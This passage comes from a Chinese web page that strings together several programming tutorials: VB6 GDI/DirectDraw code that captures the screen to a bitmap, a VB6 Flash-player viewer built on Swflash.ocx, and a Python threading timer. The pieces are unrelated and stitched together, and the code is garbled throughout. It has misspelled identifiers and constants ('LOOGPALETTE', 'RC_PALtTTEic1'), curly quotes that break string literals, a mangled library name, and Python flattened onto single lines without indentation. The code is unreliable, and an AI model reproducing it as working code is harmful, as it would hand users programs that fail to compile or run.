Private Declare Function CreateCompatibleBitmap Lib “GDI32” (ByVal hDC As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function GetDeviceCaps Lib “GDI32” (ByVal hDC As Long, ByVal iCapabilitiy As Long) As Long
Private Declare Function GetSystemPaletteEntries Lib “GDI32” (ByVal hDC As Long, ByVal wStartIndex As Long, ByVal wNumEntries As Long, lpPaletteEntries As PALETTEENTRY) As Long
Private Declare Function CreatePalette Lib “GDI32”(lpLogPalette As LOGPALETTE) As Long
Private Declare Function SelectObject Lib “GDI32”(ByVal hDC As Long, ByVal hObject As Long) As Long
Private Declare Function BitBlt Lib “GDI32”(ByVal hDCDest As Long, ByVal XDest As Long, ByVal YDest As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hdcSrc As Long, ByVal XSrc As Long, ByVal YSrc As Long, ByVal dwRop As Long) As Long
Private Declare Function DeleteDC Lib “GDI32”(ByVal hDC As Long) As Long
Private Declare Function GetForegroundWindow Lib “USER32” () As Long
Private Declare Function SelectPalette Lib “GDI32”(ByVal hDC As Long, ByVal hPalette As Long, ByVal bForceBackground As Long) As Long
Private Declare Function RealizePalette Lib “GDI32” (ByVal hDC As Long) As Long
Private Declare Function GetWindowDC Lib “USER32” (ByVal hWnd As Long) As Long
Private Declare Function GetDC Lib “USER32”(ByVal hWnd As Long) As Long
Private Declare Function GetWindowRect Lib “USER32”(ByVal hWnd As Long, lpRect As RECT) As Long
Private Declare Function ReleaseDC Lib “USER32”(ByVal hWnd As Long, ByVal hDC As Long) As Long
Private Declare Function GetDesktopWindow Lib “{USER32“() As Long
Private Type PicBmp
Size As Long
Type As Long
hBmp As Long
hPal As Long
Reserved As Long
End Type
Private Declare Function OleCreatePictureIndirect Lib “olepro32.dll” (PicDesc As PicBmp, RefIID As GUID, ByVal fPictureOwnsHandle As Long, IPic As IPicture) As Long
Public Function SaveTohBmp(ByVal hdcSrc As Long, ByVal LeftSrc As Long, _
ByVal TopSrc As Long, ByVal WidthSrc As Long, ByVal HeightSrc As Long) As Picture
Dim hDCMemory As Long
Dim hBmp As Long
Dim hBmpPrev As Long
Dim r As Long
Dim hPal As Long
Dim hPalPrev As Long
Dim RasterCapsScrn As Long
Dim HasPaletteScrn As Long
Dim PaletteSizeScrn As Long
Dim LogPal As LOOGPALETTE
注释:建立一个内存图形设备句柄
hDCMemory=CreateCompatibleDC(hdcSrc)
注释:建立一个bitmap并保存到hDCMemory中
hBmp = CreateCompatibleBitmap(hdcSrc, WidthSrc, HeightSrc)
hBmpPrev = SelectObject(hDCMemory, hBmp)
RasterCapsScrn = GetDeviceCaps(hdcSrc, RASTE图CAPS) 注释:rRaste
HasPaletteScrn = RasterCapsScrn And RC_PALtTTEic1 注释: Palette
PaletteSizeScrn = GetDeviceCaps(hdcSrc, SIZEPALETTE) 注释: Size of
If HasPaletteScrn And (PaletteSizeScrn = 256) Then
注释:建立系统调色板的拷贝
LogPal.palVersion = &H300
LogPal.palNumEntries = 256
r = GetSystemPaletteEntries(hdcSrc, 0, 256, LogPal.palPalEntry(0))
hPal = CreatePalette(LogPal)
hPalPrev = SelectPalette(hDCMemory, hPal, 0)
r = RealizePalette(hDCMemory)
End If
注释:将屏幕图形拷贝到内存图形设备句柄中
r = BitBlt(hDCMemory, 0, 0, WidthSrc, HeightSrc, hdcSrc, LeftSrc, TopSrc, vbSrcCopy)
hBmp = SelectObject(hDCMemory, hBmpPrev)
If HasPaletteScrn And (PaletteSizeScrn = 256) Then
hPal = SelectPalette(hDCMemory, hPalPrev, 0)
End If
注释:释放图形设备句柄
r = DeleteDC(hDCMemory)
Debug.Print r
注释:调用CreateBitmapPicture函数从指定的bitmap对象和调色板中建立一个picture对象
Set SaveTohBmp = CreateBitmapPicture(hBmp, hPal)
End Function
Public Function CreateBitmapPicture(ByVal hBmp As Long, ByVal hPal As Long) As Picture
Dim r As Long
Dim Pic As PicBmp
Dim IPic As IPicture
Dim IID_IDispatch As GUID
注释:填充IDispatch界面
With IID_IDispatch
.Data1 = &H20400
.Data4(0) = &HC0
.Data4(7) = &H46
End With
注释:填充Pic结构
With Pic
.Size = Len(Pic) 注释: Length of structure.
.Type = vbPicTypeBitmap 注释: Type of Picture (bitmap).
.hBmp = hBmp 注释: Handle to bitmap.
.hPal = hPal 注释: Handle to palette (may be null).
End With
注释:建立Picture对象
r = OleCreatePictureIndirect(Pic, IID_IDispatch, 1, IPic)
注释:返回Picture对象
Set CreateBitmapPicture = IPic
End Function
运行程序,在屏幕上会出现一些火焰字的特效,按Enter键可以将屏幕保存到“c:a.bmp”中,按Esc键退出程序回到Windows,
在上面的程序中,程序首先建立一个DirectDraw对象,然后设置该对象的协作层为全屏协作模式,接下来设置显示模式为640×480×8位颜色,建立一个前台DirectDrawSurface对象和一个后台缓冲DirectDrawSurface对象,建立和设置DirectDrawClipper对象。
在主程序段中,程序首先对前台绘图平面的调色板(DirectDrawPalette)对象进行操作以改变显示的文字的颜色,然后对后台缓冲绘图平面进行字节操作,以产生文字弥散的效果,然后再将后台缓冲绘图平面翻转到前台。当用户按下Enter键之后,程序获得与前台绘图平面相兼容的图形设备句柄,然后再调用Windows API函数将绘图平面内存中的内容保存到Windows位图文件中。
上面粗略地介绍了DirectX7 SDK的新特性以及初步的DirectDraw编程,希望对大家能有所帮助。以上的程序在Windows98、VB6.0下运行通过。
原文转自:www.ltesting.net
篇9:用VB编写Flash图像浏览器VB
flash编写的动画,可惜的是只能在线观看,若下载下来则必须安装Flash 才能观看,可是Flash 对于只想观看动画来说未必太大了吧,那么有没有可能自己制作一个Flash图像浏览器?当然可以,请跟我来。 首先需要安装Flash控件Swflash.ocx。 您可以通过“控制面板
flash编写的动画,可惜的是只能在线观看,若下载下来则必须安装Flash 才能观看。可是Flash 对于只想观看动画来说未必太大了吧,那么有没有可能自己制作一个Flash图像浏览器?当然可以,请跟我来。
首先需要安装Flash控件Swflash.ocx。 您可以通过“控制面板”―“添加/删除程序”进行安装。选择“Windows安装程序”页,在“多媒体”中选择“详细资料”,将“Macromedia Shockwave Flash”前的复选项选中,将Windows 98光盘放入光驱,点击“确定”即可将控件安装注册。
让我们再来看看控件Swflash.ocx的基本属性:
属性
取值及说明
Loop True:允许循环播放
False:不允许循环播放
Menu True:允许显示右键快捷菜单
False:不允许显示右键快捷菜单
Movie 所要播放的动画文件的路径和文件名
Playing True:播放
False:停止
Quality 0:低分辨率( 即Quality2:Low)
1:高分辨率( 即Quality2:High)
2:自动降低分辨率 ( 即Quality2:AutoLow)
3:自动升高分辨率( 即Quality2:AutoHigh)
Quality2 见上,和Quality变化一致
ScaleMode 0:全部显示(即Scale:Showall)
1:无边界(即Scale:NoBorder)
2:自动适应控件大小(即Scale:ExactFit)
Scale 见上,和ScaleMode变化一致
编程:
1.打开VB,新建工程,在“控件”工具箱空白处单击右键,在快捷菜单中选择“添加控件”,在控件列表中选中“Shockware sh”复选框,按“确定”即可将Swflash.ocx控件添加到“控件” 工具箱。 2.按照图1位置在Form1中添加若干控件,其属性如下表:
控件类型 控件名称 属性 值
CommandButtom cmdPlay Caption 播放
cmdStop Caption 停止
cmdback
Caption 上一帧
cmdForward
Caption
下一帧
Shockwareflash ShockwaveFlash1 Loop
Menu
Playing
Quality
ScaleMode True
True
Flase
1
2
lblFileName Caption 空白的
DriveListBox Drive1
PathListBox Path1
FileListBox File1 Pattern *.swf
3.将驱动器,目录和文件列表框建立联系
Private Sub Dir1_Change()
File1.Path = Dir1
End Sub
Private Sub Drive1_Change()
Dir1.Path = Drive1
End Sub
4.当鼠标选中某个swf文件的时候,动画立即放映
Private Sub File1_Click()
‘ 设置按钮和Swflash.ocx控件的状态
cmdStop.Enabled = True
cmdBack.Enabled = True
cmdForward.Enabled = True
ShockwaveFlash1.Visible = True
ShockwaveFlash1.Playing = True
ShockwaveFlash1.Movie = File1.Path + ”“ + File1
lblFilename.Caption = ”当前放映的动画是“ + File1.Path + ”“ + File1
End Sub
5.编写按钮的事件
‘ 上一帧
Private Sub cmdBack_Click()
ShockwaveFlash1.Back
End Sub
‘ 下一帧
Private Sub cmdForward_Click()
ShockwaveFlash1.Forward
End Sub
‘ 播放
Private Sub cmdPlay_Click()
ShockwaveFlash1.Play
cmdPlay.Enabled = False
cmdStop.Enabled = True
End Sub
‘ 停止
Private Sub cmdStop_Click()
ShockwaveFlash1.Stop
cmdStop.Enabled = False
cmdPlay.Enabled = True
End Sub
6.编写 点击E-mail 地址的电子邮件调用
‘申明API函数
Declare Function ShellExecute Lib ”shell32.dll“ Alias ”ShellExecuteA“ (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
‘ 调用电子邮件
Private Sub lblRight_Click()
ShellExecute 0&,vbNullString, ”mailto:mralways@fm365.com“, vbNullString, vbNullString, vbNormalFocus
End Sub
这样,经过编译为执行文件,一个简单又实用的Flash 图像浏览器就做成功了,
您可以到中国软件程序员大本营(www.csdn.net/cnshare/softview.asp?id=3248)或硅谷动力下载区(www.esoftware.com.cn/filebrhoto/see/102301.shtml)去下载我的作品。
网上的Flash动画资源有:
网易 Flash 站:flash.163.com/
Flash 图库:www.china-contact.com/flash/
天极网 网页陶吧之Flash站:desktop.yesky.com/home/flash.htm
有些网页上根本就不提供动画的下载功能,您可以单击右键,打开快捷菜单中的“查看源码”,用“查找”功能查找“.swf”文字,找到的文件路径即可用工具进行下载了。
原文转自:www.ltesting.net
篇10:用Python编写简单的定时器的方法
作者:PandaraWen 字体:[增加 减小] 类型:转载
这篇文章主要介绍了用Python编写简单的定时器的方法,主要用到了Python中的threading模块,需要的朋友可以参考下
下面介绍以threading模块来实现定时器的方法,
首先介绍一个最简单实现:
import threadingdef say_sth(str): print str t = threading.Timer(2.0, say_sth,[str]) t.start()if __name__ == ‘__main__‘: timer = threading.Timer(2.0,say_sth,[‘i am here too.‘]) timer.start()
不清楚在某些特殊应用场景下有什么缺陷否。
下面是所要介绍的定时器类的实现:
class Timer(threading.Thread): ”“” very simple but useless timer. “”“ def __init__(self, seconds): self.runTime = seconds threading.Thread.__init__(self) def run(self): time.sleep(self.runTime) print ”Buzzzz!! Time‘s up!“class CountDownTimer(Timer): ”“” a timer that can counts down the seconds. “”“ def run(self): counter = self.runTime for sec in range(self.runTime): print counter time.sleep(1.0) counter -= 1 print ”Done“class CountDownExec(CountDownTimer): ”“” a timer that execute an action at the end of the timer run. “”“ def __init__(self, seconds, action, args=[]): self.args = args self.action = action CountDownTimer.__init__(self, seconds) def run(self): CountDownTimer.run(self) self.action(self.args)def myAction(args=[]): print ”Performing my action with args:“ print args if __name__ == ”__main__“: t = CountDownExec(3, myAction, [”hello“, ”world"]) t.start()
★ 个人简历范文软件
【用vfp编写Web Service(精选10篇)】相关文章:
visual basic程序设计课程教学总结2022-05-12
网站翻译简历2023-03-28
案例教学法在工程项目管理中的应用论文2022-11-08
高级Java开发工程师的职责职能2023-05-23
医院BS结构信息管理系统分析论文2023-05-22
如何造就数控机床编程高手2022-10-16
NET架构师岗位的工作职责2022-10-30
软件测试面试笔试2024-03-28
阿里巴巴实习生测试开发工程师笔试附加题2022-09-26
项目驱动教学法在C语言课程中的应用的论文2023-02-15